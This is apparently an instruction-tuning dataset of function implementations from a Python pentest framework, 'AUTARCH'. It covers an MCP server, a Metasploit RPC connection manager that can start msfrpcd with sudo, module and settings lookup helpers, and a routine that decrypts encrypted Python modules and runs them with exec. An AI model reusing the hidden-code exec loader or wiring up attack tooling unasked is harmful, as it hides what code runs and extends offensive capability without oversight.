{"instruction": "Show how to implement the `run_sse` function in core/mcp_server.py", "input": "Function: run_sse(host, port)\nDocstring: Run the MCP server in SSE (Server-Sent Events) mode for web clients.", "output": "def run_sse(host: str = '0.0.0.0', port: int = 8081):\n \"\"\"Run the MCP server in SSE (Server-Sent Events) mode for web clients.\"\"\"\n config = get_config()\n mcp_settings = config.get_mcp_settings()\n if host == '0.0.0.0':\n host = mcp_settings['host']\n if port == 8081:\n port = mcp_settings['port']\n mcp = create_mcp_server()\n mcp.run(transport='sse', host=host, port=port)", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_mcp_config_snippet` function in core/mcp_server.py", "input": "Function: get_mcp_config_snippet()\nDocstring: Generate the JSON config snippet for Claude Desktop / Claude Code.", "output": "def get_mcp_config_snippet() -> str:\n \"\"\"Generate the JSON config snippet for Claude Desktop / Claude Code.\"\"\"\n app_dir = get_app_dir()\n python = sys.executable\n\n config = {\n \"mcpServers\": {\n \"autarch\": {\n \"command\": python,\n \"args\": [str(app_dir / \"core\" / \"mcp_server.py\"), \"--stdio\"],\n \"env\": {}\n }\n }\n }\n return json.dumps(config, indent=2)", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_server_status` function in core/mcp_server.py", "input": "Function: get_server_status()\nDocstring: Check if the MCP server is running.", "output": "def get_server_status() -> dict:\n \"\"\"Check if the MCP server is running.\"\"\"\n global _server_process\n if _server_process and _server_process.poll() is None:\n return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'}\n return {'running': False}", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `start_sse_server` function in core/mcp_server.py", "input": "Function: start_sse_server(host, port)\nDocstring: Start the MCP SSE server in the background.", "output": "def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict:\n \"\"\"Start the MCP SSE server in the background.\"\"\"\n global _server_process\n\n config = get_config()\n mcp_settings = config.get_mcp_settings()\n if host == '0.0.0.0':\n host = mcp_settings['host']\n if port == 8081:\n port = mcp_settings['port']\n\n status = get_server_status()\n if status['running']:\n return {'ok': False, 'error': f'Already running (PID {status[\"pid\"]})'}\n\n python = sys.executable\n script = str(Path(__file__).resolve())\n\n _server_process = subprocess.Popen(\n [python, script, '--sse', '--host', host, '--port', str(port)],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port}", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `stop_sse_server` function in core/mcp_server.py", "input": "Function: stop_sse_server()\nDocstring: Stop the MCP SSE server.", "output": "def stop_sse_server() -> dict:\n \"\"\"Stop the MCP SSE server.\"\"\"\n global _server_process\n\n status = get_server_status()\n if not status['running']:\n return {'ok': False, 'error': 'Not running'}\n\n _server_process.terminate()\n try:\n _server_process.wait(timeout=5)\n except subprocess.TimeoutExpired:\n _server_process.kill()\n _server_process = None\n return {'ok': True}", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_model_router` function in core/model_router.py", "input": "Function: get_model_router()\nDocstring: Get the global ModelRouter instance.", "output": "def get_model_router() -> ModelRouter:\n \"\"\"Get the global ModelRouter instance.\"\"\"\n global _router_instance\n if _router_instance is None:\n _router_instance = ModelRouter()\n return _router_instance", "type": "api_reference", "source_file": "core/model_router.py"}
|
|||
|
|
{"instruction": "Show how to implement the `reset_model_router` function in core/model_router.py", "input": "Function: reset_model_router()\nDocstring: Reset the global ModelRouter (unloads all models).", "output": "def reset_model_router():\n \"\"\"Reset the global ModelRouter (unloads all models).\"\"\"\n global _router_instance\n if _router_instance is not None:\n _router_instance.unload_all()\n _router_instance = None", "type": "api_reference", "source_file": "core/model_router.py"}
|
|||
|
|
{"instruction": "Show how to implement the `encrypt_module` function in core/module_crypto.py", "input": "Function: encrypt_module(source_code, password, metadata)\nDocstring: Encrypt a Python module source string.", "output": "def encrypt_module(\n source_code: str,\n password: str,\n metadata: Optional[dict] = None,\n) -> bytes:\n \"\"\"\n Encrypt a Python module source string.\n\n Returns the raw .autarch file bytes.\n \"\"\"\n meta_bytes = json.dumps(metadata or {}).encode('utf-8')\n plaintext = source_code.encode('utf-8')\n salt = os.urandom(SALT_LEN)\n iv = os.urandom(IV_LEN)\n key = _derive_key(password, salt)\n digest = hashlib.sha512(plaintext).digest()\n ciphertext = _aes_encrypt(key, iv, plaintext)\n\n meta_len = len(meta_bytes)\n header = (\n MAGIC\n + struct.pack('B', VERSION)\n + salt\n + iv\n + digest\n + struct.pack('<H', meta_len)\n )\n return header + meta_bytes + ciphertext", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `decrypt_module` function in core/module_crypto.py", "input": "Function: decrypt_module(data, password)\nDocstring: Decrypt an .autarch blob.", "output": "def decrypt_module(data: bytes, password: str) -> tuple[str, dict]:\n \"\"\"\n Decrypt an .autarch blob.\n\n Returns (source_code: str, metadata: dict).\n Raises ValueError on bad magic, version, or integrity check failure.\n \"\"\"\n offset = 0\n\n # Magic\n if data[offset:offset + 4] != MAGIC:\n raise ValueError(\"Not a valid AUTARCH encrypted module (bad magic)\")\n offset += 4\n\n # Version\n version = data[offset]\n if version != VERSION:\n raise ValueError(f\"Unsupported module version: {version:#04x}\")\n offset += 1\n\n # Salt\n salt = data[offset:offset + SALT_LEN]\n offset += SALT_LEN\n\n # IV\n iv = data[offset:offset + IV_LEN]\n offset += IV_LEN\n\n # SHA-512 integrity hash\n stored_hash = data[offset:offset + HASH_LEN]\n offset += HASH_LEN\n\n # Metadata\n meta_len = struct.unpack('<H', data[offset:offset + 2])[0]\n offset += 2\n meta_bytes = data[offset:offset + meta_len]\n offset += meta_len\n metadata = json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}\n\n # Ciphertext\n ciphertext = data[offset:]\n\n # Derive key and decrypt\n key = _derive_key(password, salt)\n try:\n plaintext = _aes_decrypt(key, iv, ciphertext)\n except Exception as exc:\n raise ValueError(f\"Decryption failed — wrong password? ({exc})\")\n\n # Integrity check\n actual_hash = hashlib.sha512(plaintext).digest()\n if not hmac.compare_digest(actual_hash, stored_hash):\n raise ValueError(\"Integrity check failed — file tampered or wrong password\")\n\n return plaintext.decode('utf-8'), metadata", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `encrypt_file` function in core/module_crypto.py", "input": "Function: encrypt_file(src, dst, password, metadata)\nDocstring: Encrypt a .py source file to a .autarch file.", "output": "def encrypt_file(src: Path, dst: Path, password: str, metadata: Optional[dict] = None) -> None:\n \"\"\"Encrypt a .py source file to a .autarch file.\"\"\"\n source = src.read_text(encoding='utf-8')\n blob = encrypt_module(source, password, metadata)\n dst.write_bytes(blob)", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `decrypt_file` function in core/module_crypto.py", "input": "Function: decrypt_file(src, password)\nDocstring: Decrypt an .autarch file and return (source_code, metadata).", "output": "def decrypt_file(src: Path, password: str) -> tuple[str, dict]:\n \"\"\"Decrypt an .autarch file and return (source_code, metadata).\"\"\"\n return decrypt_module(src.read_bytes(), password)", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `load_and_exec` function in core/module_crypto.py", "input": "Function: load_and_exec(path, password, module_name)\nDocstring: Decrypt and execute an encrypted module.", "output": "def load_and_exec(\n path: Path,\n password: str,\n module_name: str = '__encmod__',\n) -> dict:\n \"\"\"\n Decrypt and execute an encrypted module.\n\n Returns the module's globals dict (its namespace).\n \"\"\"\n source, meta = decrypt_file(path, password)\n namespace: dict = {\n '__name__': module_name,\n '__file__': str(path),\n '__builtins__': __builtins__,\n }\n exec(compile(source, str(path), 'exec'), namespace)\n return namespace", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `read_metadata` function in core/module_crypto.py", "input": "Function: read_metadata(path)\nDocstring: Read only the metadata from an .autarch file without decrypting.", "output": "def read_metadata(path: Path) -> Optional[dict]:\n \"\"\"\n Read only the metadata from an .autarch file without decrypting.\n Returns None if the file is invalid.\n \"\"\"\n try:\n data = path.read_bytes()\n if data[:4] != MAGIC:\n return None\n offset = 5 + SALT_LEN + IV_LEN + HASH_LEN\n meta_len = struct.unpack('<H', data[offset:offset + 2])[0]\n offset += 2\n meta_bytes = data[offset:offset + meta_len]\n return json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}\n except Exception:\n return None", "type": "api_reference", "source_file": "core/module_crypto.py"}
|
|||
|
|
{"instruction": "Show how to implement the `check_msgpack` function in core/msf.py", "input": "Function: check_msgpack()\nDocstring: Check if msgpack is available, raise error if not.", "output": "def check_msgpack():\n \"\"\"Check if msgpack is available, raise error if not.\"\"\"\n if not MSGPACK_AVAILABLE:\n raise MSFError(\n \"msgpack module not installed. Install with: pip install msgpack\"\n )", "type": "api_reference", "source_file": "core/msf.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_msf_manager` function in core/msf.py", "input": "Function: get_msf_manager()\nDocstring: Get the global MSF manager instance.", "output": "def get_msf_manager() -> MSFManager:\n \"\"\"Get the global MSF manager instance.\"\"\"\n global _msf_manager\n if _msf_manager is None:\n _msf_manager = MSFManager()\n return _msf_manager", "type": "api_reference", "source_file": "core/msf.py"}
|
|||
|
|
{"instruction": "Show how to implement the `msf_startup_autoconnect` function in core/msf.py", "input": "Function: msf_startup_autoconnect(skip_if_disabled)\nDocstring: Perform MSF autoconnect during application startup.", "output": "def msf_startup_autoconnect(skip_if_disabled: bool = True) -> bool:\n \"\"\"Perform MSF autoconnect during application startup.\n\n This is the main entry point for the autoconnect feature.\n Call this during application initialization.\n\n Args:\n skip_if_disabled: If True, skip autoconnect if disabled in config\n\n Returns:\n True if connected successfully, False otherwise\n \"\"\"\n msf = get_msf_manager()\n settings = msf.get_settings()\n\n # Check if autoconnect is enabled\n if skip_if_disabled and not settings.get('autoconnect', True):\n print(f\"{Colors.DIM} MSF autoconnect disabled in settings{Colors.RESET}\")\n return False\n\n # Check if msgpack is available\n if not MSGPACK_AVAILABLE:\n print(f\"{Colors.YELLOW}[!] msgpack not installed - MSF features disabled{Colors.RESET}\")\n print(f\"{Colors.DIM} Install with: pip install msgpack{Colors.RESET}\")\n return False\n\n return msf.autoconnect()", "type": "api_reference", "source_file": "core/msf.py"}
|
|||
|
|
{"instruction": "Show how to implement the `msf_quick_connect` function in core/msf.py", "input": "Function: msf_quick_connect(username, password, host, port, use_ssl, kill_existing, use_sudo)\nDocstring: Quick non-interactive MSF server setup and connection.", "output": "def msf_quick_connect(username: str = None, password: str = None,\n host: str = \"127.0.0.1\", port: int = 55553,\n use_ssl: bool = True, kill_existing: bool = True,\n use_sudo: bool = True) -> bool:\n \"\"\"Quick non-interactive MSF server setup and connection.\n\n Useful for scripting or when credentials are already known.\n\n Args:\n username: RPC username (default: msf)\n password: RPC password (required)\n host: Host address\n port: RPC port\n use_ssl: Use SSL connection\n kill_existing: Kill any existing msfrpcd server first\n use_sudo: Run msfrpcd with sudo (required for raw socket modules)\n\n Returns:\n True if connected successfully\n \"\"\"\n if not password:\n print(f\"{Colors.RED}[X] Password required for msf_quick_connect{Colors.RESET}\")\n return False\n\n if not MSGPACK_AVAILABLE:\n print(f\"{Colors.RED}[X] msgpack not installed{Colors.RESET}\")\n return False\n\n username = username or \"msf\"\n msf = get_msf_manager()\n\n # Kill existing if requested\n if kill_existing:\n is_running, _ = msf.detect_server()\n if is_running:\n print(f\"{Colors.WHITE}[*] Stopping existing msfrpcd...{Colors.RESET}\")\n msf.kill_server(use_sudo=use_sudo)\n\n # Save and start\n msf.save_settings(host, port, username, password, use_ssl)\n\n print(f\"{Colors.WHITE}[*] Starting msfrpcd{' with sudo' if use_sudo else ''}...{Colors.RESET}\")\n if not msf.start_server(username, password, host, port, use_ssl, use_sudo):\n return False\n\n print(f\"{Colors.WHITE}[*] Connecting...{Colors.RESET}\")\n try:\n msf.connect(password)\n print(f\"{Colors.GREEN}[+] Connected to Metasploit{Colors.RESET}\")\n return True\n except MSFError as e:\n print(f\"{Colors.RED}[X] Connection failed: {e}{Colors.RESET}\")\n return False", "type": "api_reference", "source_file": "core/msf.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_msf_interface` function in core/msf_interface.py", "input": "Function: get_msf_interface()\nDocstring: Get the global MSF interface instance.", "output": "def get_msf_interface() -> MSFInterface:\n \"\"\"Get the global MSF interface instance.\"\"\"\n global _msf_interface\n if _msf_interface is None:\n _msf_interface = MSFInterface()\n return _msf_interface", "type": "api_reference", "source_file": "core/msf_interface.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_info` function in core/msf_modules.py", "input": "Function: get_module_info(module_path)\nDocstring: Get information about a module.", "output": "def get_module_info(module_path: str) -> Optional[Dict[str, Any]]:\n \"\"\"Get information about a module.\n\n Args:\n module_path: Full module path (e.g., 'auxiliary/scanner/smb/smb_version').\n\n Returns:\n Dictionary with module info, or None if not found.\n \"\"\"\n return MSF_MODULES.get(module_path)", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_description` function in core/msf_modules.py", "input": "Function: get_module_description(module_path)\nDocstring: Get just the description for a module.", "output": "def get_module_description(module_path: str) -> str:\n \"\"\"Get just the description for a module.\n\n Args:\n module_path: Module path.\n\n Returns:\n Description string, or 'Unknown module' if not found.\n \"\"\"\n info = get_module_info(module_path)\n if info:\n return info['description']\n return f\"No description available for: {module_path}\"", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `search_modules` function in core/msf_modules.py", "input": "Function: search_modules(query, max_results)\nDocstring: Search modules by keyword.", "output": "def search_modules(query: str, max_results: int = 50) -> List[Dict[str, Any]]:\n \"\"\"Search modules by keyword.\n\n Args:\n query: Search query (searches name, description, tags).\n max_results: Maximum results to return.\n\n Returns:\n List of matching modules with path and info.\n \"\"\"\n query_lower = query.lower()\n results = []\n\n for path, info in MSF_MODULES.items():\n score = 0\n\n # Check path\n if query_lower in path.lower():\n score += 10\n\n # Check name\n if query_lower in info.get('name', '').lower():\n score += 8\n\n # Check tags\n for tag in info.get('tags', []):\n if query_lower in tag.lower():\n score += 5\n\n # Check description\n if query_lower in info.get('description', '').lower():\n score += 3\n\n # Check CVE\n for cve in (info.get('cve') or []):\n if query_lower in cve.lower():\n score += 10\n\n if score > 0:\n results.append({\n 'path': path,\n 'score': score,\n **info\n })\n\n # Sort by score descending\n results.sort(key=lambda x: x['score'], reverse=True)\n return results[:max_results]", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_modules_by_type` function in core/msf_modules.py", "input": "Function: get_modules_by_type(module_type)\nDocstring: Get all modules of a specific type.", "output": "def get_modules_by_type(module_type: str) -> List[Dict[str, Any]]:\n \"\"\"Get all modules of a specific type.\n\n Args:\n module_type: Module type prefix (exploit, auxiliary, post, payload).\n\n Returns:\n List of modules matching the type.\n \"\"\"\n results = []\n prefix = module_type.lower().rstrip('/')\n\n for path, info in MSF_MODULES.items():\n if path.startswith(prefix):\n results.append({\n 'path': path,\n **info\n })\n\n return results", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_modules_by_tag` function in core/msf_modules.py", "input": "Function: get_modules_by_tag(tag)\nDocstring: Get all modules with a specific tag.", "output": "def get_modules_by_tag(tag: str) -> List[Dict[str, Any]]:\n \"\"\"Get all modules with a specific tag.\n\n Args:\n tag: Tag to search for.\n\n Returns:\n List of modules with that tag.\n \"\"\"\n tag_lower = tag.lower()\n results = []\n\n for path, info in MSF_MODULES.items():\n if tag_lower in [t.lower() for t in info.get('tags', [])]:\n results.append({\n 'path': path,\n **info\n })\n\n return results", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_modules_by_platform` function in core/msf_modules.py", "input": "Function: get_modules_by_platform(platform)\nDocstring: Get all modules for a specific platform.", "output": "def get_modules_by_platform(platform: str) -> List[Dict[str, Any]]:\n \"\"\"Get all modules for a specific platform.\n\n Args:\n platform: Platform (windows, linux, unix, multi).\n\n Returns:\n List of modules for that platform.\n \"\"\"\n platform_lower = platform.lower()\n results = []\n\n for path, info in MSF_MODULES.items():\n platforms = info.get('platforms', [])\n if platform_lower in [p.lower() for p in platforms]:\n results.append({\n 'path': path,\n **info\n })\n\n return results", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_options` function in core/msf_modules.py", "input": "Function: get_module_options(module_path)\nDocstring: Get the common options for a module.", "output": "def get_module_options(module_path: str) -> List[Dict[str, Any]]:\n \"\"\"Get the common options for a module.\n\n Args:\n module_path: Module path.\n\n Returns:\n List of option dictionaries.\n \"\"\"\n info = get_module_info(module_path)\n if info:\n return info.get('options', [])\n return []", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `format_module_help` function in core/msf_modules.py", "input": "Function: format_module_help(module_path)\nDocstring: Get formatted help text for a module.", "output": "def format_module_help(module_path: str) -> str:\n \"\"\"Get formatted help text for a module.\n\n Args:\n module_path: Module path.\n\n Returns:\n Formatted help string.\n \"\"\"\n info = get_module_info(module_path)\n\n if not info:\n return f\"No information available for: {module_path}\"\n\n lines = [\n f\"Module: {module_path}\",\n f\"Name: {info.get('name', 'Unknown')}\",\n \"\",\n info.get('description', 'No description'),\n \"\",\n ]\n\n if info.get('cve'):\n lines.append(f\"CVE: {', '.join(info['cve'])}\")\n\n if info.get('platforms'):\n lines.append(f\"Platforms: {', '.join(info['platforms'])}\")\n\n if info.get('reliability'):\n lines.append(f\"Reliability: {info['reliability']}\")\n\n if info.get('options'):\n lines.append(\"\")\n lines.append(\"Common Options:\")\n for opt in info['options']:\n req = \"(required)\" if opt.get('required') else \"\"\n lines.append(f\" {opt['name']:15} - {opt.get('desc', '')} {req}\")\n\n if info.get('notes'):\n lines.append(\"\")\n lines.append(f\"Notes: {info['notes']}\")\n\n return '\\n'.join(lines)", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `list_all_modules` function in core/msf_modules.py", "input": "Function: list_all_modules()\nDocstring: Get list of all module paths in the library.", "output": "def list_all_modules() -> List[str]:\n \"\"\"Get list of all module paths in the library.\n\n Returns:\n List of module paths.\n \"\"\"\n return list(MSF_MODULES.keys())", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_module_count` function in core/msf_modules.py", "input": "Function: get_module_count()\nDocstring: Get count of modules by type.", "output": "def get_module_count() -> Dict[str, int]:\n \"\"\"Get count of modules by type.\n\n Returns:\n Dictionary of type -> count.\n \"\"\"\n counts = {'exploit': 0, 'auxiliary': 0, 'post': 0, 'payload': 0}\n\n for path in MSF_MODULES.keys():\n for mtype in counts.keys():\n if path.startswith(mtype):\n counts[mtype] += 1\n break\n\n counts['total'] = len(MSF_MODULES)\n return counts", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `print_module_summary` function in core/msf_modules.py", "input": "Function: print_module_summary()\nDocstring: Print a summary of modules in the library.", "output": "def print_module_summary():\n \"\"\"Print a summary of modules in the library.\"\"\"\n counts = get_module_count()\n\n print(\"MSF Module Library Summary\")\n print(\"=\" * 50)\n print(f\"Total modules: {counts['total']}\")\n print(f\" Exploits: {counts['exploit']}\")\n print(f\" Auxiliary/Scanners: {counts['auxiliary']}\")\n print(f\" Post-exploitation: {counts['post']}\")\n print(f\" Payloads: {counts['payload']}\")", "type": "api_reference", "source_file": "core/msf_modules.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_setting_info` function in core/msf_terms.py", "input": "Function: get_setting_info(name)\nDocstring: Get information about an MSF setting.", "output": "def get_setting_info(name: str) -> Optional[Dict[str, Any]]:\n \"\"\"Get information about an MSF setting.\n\n Args:\n name: Setting name (case-insensitive).\n\n Returns:\n Dictionary with setting info, or None if not found.\n \"\"\"\n # Normalize name\n name_upper = name.upper()\n\n # Direct lookup\n if name_upper in MSF_SETTINGS:\n return MSF_SETTINGS[name_upper].copy()\n\n # Check aliases\n for setting_name, info in MSF_SETTINGS.items():\n aliases = [a.upper() for a in info.get('aliases', [])]\n if name_upper in aliases:\n result = info.copy()\n result['canonical_name'] = setting_name\n return result\n\n return None", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_setting_description` function in core/msf_terms.py", "input": "Function: get_setting_description(name)\nDocstring: Get just the description for a setting.", "output": "def get_setting_description(name: str) -> str:\n \"\"\"Get just the description for a setting.\n\n Args:\n name: Setting name.\n\n Returns:\n Description string, or 'Unknown setting' if not found.\n \"\"\"\n info = get_setting_info(name)\n if info:\n return info['description']\n return f\"Unknown setting: {name}\"", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_setting_prompt` function in core/msf_terms.py", "input": "Function: get_setting_prompt(name, default, required)\nDocstring: Get a formatted input prompt for a setting.", "output": "def get_setting_prompt(name: str, default: Any = None, required: bool = False) -> str:\n \"\"\"Get a formatted input prompt for a setting.\n\n Args:\n name: Setting name.\n default: Default value to show.\n required: Whether the setting is required.\n\n Returns:\n Formatted prompt string.\n \"\"\"\n info = get_setting_info(name)\n\n if info:\n # Build prompt with examples\n examples = info.get('examples', [])\n example_str = f\" (e.g., {examples[0]})\" if examples else \"\"\n\n if default is not None:\n return f\"{name}{example_str} [{default}]: \"\n elif required:\n return f\"{name}{example_str} (required): \"\n else:\n return f\"{name}{example_str}: \"\n else:\n if default is not None:\n return f\"{name} [{default}]: \"\n return f\"{name}: \"", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `format_setting_help` function in core/msf_terms.py", "input": "Function: format_setting_help(name, include_examples, include_notes)\nDocstring: Get a formatted help text for a setting.", "output": "def format_setting_help(name: str, include_examples: bool = True, include_notes: bool = True) -> str:\n \"\"\"Get a formatted help text for a setting.\n\n Args:\n name: Setting name.\n include_examples: Whether to include examples.\n include_notes: Whether to include notes.\n\n Returns:\n Formatted help string.\n \"\"\"\n info = get_setting_info(name)\n\n if not info:\n return f\"No help available for: {name}\"\n\n lines = [info['description']]\n\n if include_examples and info.get('examples'):\n examples = ', '.join(info['examples'][:3])\n lines.append(f\"Examples: {examples}\")\n\n if info.get('default'):\n lines.append(f\"Default: {info['default']}\")\n\n if include_notes and info.get('notes'):\n lines.append(f\"Note: {info['notes']}\")\n\n return '\\n'.join(lines)", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_settings_by_category` function in core/msf_terms.py", "input": "Function: get_settings_by_category(category)\nDocstring: Get all settings in a category.", "output": "def get_settings_by_category(category: str) -> Dict[str, Dict]:\n \"\"\"Get all settings in a category.\n\n Args:\n category: Category name.\n\n Returns:\n Dictionary of setting name -> info.\n \"\"\"\n return {\n name: info for name, info in MSF_SETTINGS.items()\n if info.get('category') == category\n }", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_common_settings` function in core/msf_terms.py", "input": "Function: get_common_settings()\nDocstring: Get list of most commonly used settings.", "output": "def get_common_settings() -> List[str]:\n \"\"\"Get list of most commonly used settings.\n\n Returns:\n List of setting names.\n \"\"\"\n return [\n 'RHOSTS', 'RHOST', 'RPORT',\n 'LHOST', 'LPORT',\n 'USERNAME', 'PASSWORD',\n 'PAYLOAD', 'THREADS', 'SSL',\n ]", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_category_info` function in core/msf_terms.py", "input": "Function: get_category_info(category)\nDocstring: Get information about a setting category.", "output": "def get_category_info(category: str) -> Optional[Dict[str, str]]:\n \"\"\"Get information about a setting category.\n\n Args:\n category: Category name.\n\n Returns:\n Dictionary with category info, or None if not found.\n \"\"\"\n return SETTING_CATEGORIES.get(category)", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `list_all_settings` function in core/msf_terms.py", "input": "Function: list_all_settings()\nDocstring: Get list of all known setting names.", "output": "def list_all_settings() -> List[str]:\n \"\"\"Get list of all known setting names.\n\n Returns:\n List of setting names.\n \"\"\"\n return list(MSF_SETTINGS.keys())", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `list_categories` function in core/msf_terms.py", "input": "Function: list_categories()\nDocstring: Get list of all setting categories.", "output": "def list_categories() -> List[str]:\n \"\"\"Get list of all setting categories.\n\n Returns:\n List of category names.\n \"\"\"\n return list(SETTING_CATEGORIES.keys())", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `validate_setting_value` function in core/msf_terms.py", "input": "Function: validate_setting_value(name, value)\nDocstring: Validate a value for a setting.", "output": "def validate_setting_value(name: str, value: str) -> tuple:\n \"\"\"Validate a value for a setting.\n\n Args:\n name: Setting name.\n value: Value to validate.\n\n Returns:\n Tuple of (is_valid, error_message or None).\n \"\"\"\n info = get_setting_info(name)\n\n if not info:\n return True, None # Unknown settings pass through\n\n input_type = info.get('input_type', 'string')\n\n if input_type == 'port':\n try:\n port = int(value)\n if not (1 <= port <= 65535):\n return False, \"Port must be between 1 and 65535\"\n except ValueError:\n return False, \"Port must be a number\"\n\n elif input_type == 'integer':\n try:\n int(value)\n except ValueError:\n return False, \"Must be a number\"\n\n elif input_type == 'boolean':\n if value.lower() not in ('true', 'false', 'yes', 'no', '1', '0'):\n return False, \"Must be true/false, yes/no, or 1/0\"\n\n elif input_type == 'ip':\n import re\n ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$'\n if not re.match(ip_pattern, value):\n # Could be a hostname, which is also valid\n if not re.match(r'^[a-zA-Z0-9][a-zA-Z0-9\\-\\.]*$', value):\n return False, \"Must be a valid IP address or hostname\"\n\n elif input_type == 'port_range':\n # Validate port range format\n import re\n if not re.match(r'^[\\d,\\-\\s]+$', value):\n return False, \"Invalid port range format. Use: 22 or 1-1000 or 22,80,443\"\n\n return True, None", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `print_quick_reference` function in core/msf_terms.py", "input": "Function: print_quick_reference()\nDocstring: Print a quick reference of common settings.", "output": "def print_quick_reference():\n \"\"\"Print a quick reference of common settings.\"\"\"\n print(\"MSF Settings Quick Reference\")\n print(\"=\" * 60)\n\n for category in ['target', 'local', 'auth', 'payload', 'connection']:\n cat_info = SETTING_CATEGORIES.get(category, {})\n print(f\"\\n{cat_info.get('name', category.upper())}\")\n print(\"-\" * 40)\n\n settings = get_settings_by_category(category)\n for name, info in settings.items():\n desc = info['description'][:50] + \"...\" if len(info['description']) > 50 else info['description']\n print(f\" {name:15} - {desc}\")", "type": "api_reference", "source_file": "core/msf_terms.py"}
|
|||
|
|
{"instruction": "Show how to implement the `is_frozen` function in core/paths.py", "input": "Function: is_frozen()\nDocstring: Return True if running from a PyInstaller bundle.", "output": "def is_frozen() -> bool:\n \"\"\"Return True if running from a PyInstaller bundle.\"\"\"\n return _FROZEN", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_app_dir` function in core/paths.py", "input": "Function: get_app_dir()\nDocstring: Return the writable application root directory.", "output": "def get_app_dir() -> Path:\n \"\"\"Return the writable application root directory.\"\"\"\n return _APP_DIR", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_bundle_dir` function in core/paths.py", "input": "Function: get_bundle_dir()\nDocstring: Return the bundle directory (read-only assets: templates, static, default modules).", "output": "def get_bundle_dir() -> Path:\n \"\"\"Return the bundle directory (read-only assets: templates, static, default modules).\"\"\"\n return _BUNDLE_DIR", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_modules_dir` function in core/paths.py", "input": "Function: get_modules_dir()\nDocstring: Return the bundled modules directory (read-only in frozen mode).", "output": "def get_modules_dir() -> Path:\n \"\"\"Return the bundled modules directory (read-only in frozen mode).\"\"\"\n return _BUNDLE_DIR / 'modules'", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_user_modules_dir` function in core/paths.py", "input": "Function: get_user_modules_dir()\nDocstring: Return the user modules directory (writable, next to exe).", "output": "def get_user_modules_dir() -> Path:\n \"\"\"Return the user modules directory (writable, next to exe).\n New or modified modules go here; scanned in addition to bundled modules.\"\"\"\n d = _APP_DIR / 'modules'\n if _FROZEN:\n d.mkdir(parents=True, exist_ok=True)\n return d", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_config_path` function in core/paths.py", "input": "Function: get_config_path()\nDocstring: Return config path. Writable copy lives next to the exe;", "output": "def get_config_path() -> Path:\n \"\"\"Return config path. Writable copy lives next to the exe;\n falls back to the bundled default if the writable copy doesn't exist yet.\"\"\"\n writable = _APP_DIR / 'autarch_settings.conf'\n if not writable.exists() and _FROZEN:\n bundled = _BUNDLE_DIR / 'autarch_settings.conf'\n if bundled.exists():\n import shutil as _sh\n _sh.copy2(str(bundled), str(writable))\n return writable", "type": "api_reference", "source_file": "core/paths.py"}
|
|||
|
|
